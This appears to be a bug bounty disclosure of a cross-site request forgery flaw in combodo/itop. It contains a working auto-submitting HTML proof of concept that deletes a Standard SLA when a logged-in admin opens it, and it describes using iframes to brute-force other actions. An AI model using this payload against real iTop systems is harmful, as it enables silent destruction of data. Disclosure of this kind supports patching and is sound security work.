Cross-Site Request Forgery (CSRF) in combodo/itop
Aug 29th 2021
Attacker able to delete Standard SLA with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.
🕵️♂️ Proof of Concept
1.First of all admin or user with right privileges already should be logged in Firefox or Safari.
2.Open the PoC.html (it is auto-submit).
3.Here Standard SLA will be deleted after the PoC.html file opened.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:8000/web/pages/UI.php?operation=delete&class=SLA&id=1&c[menu]=SLA" method="POST"> <input type="hidden" name="transaction_id" value="admE469.tmp" /> <input type="hidden" name="operation" value="bulk_delete_confirmed" /> <input type="hidden" name="filter" value="%5B%22SELECT+%60SLA%60+FROM+SLA+AS+%60SLA%60+WHERE+%28%60SLA%60.%60id%60+IN+%28%271%27%29%29%22%2C%5B%5D%2C%5B%5D%5D" /> <input type="hidden" name="class" value="SLA" /> <input type="hidden" name="selectObject" value="1" /> <input type="hidden" name="c[menu]" value="SLA" /> <input type="submit" value="Submit request" /> </form> <script> document.forms.submit(); </script> </body> </html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
This vulnerability is capable of make high damage on availability and integrity of system.
You should set a CSRF token for each form. 📍 Location index.php#L1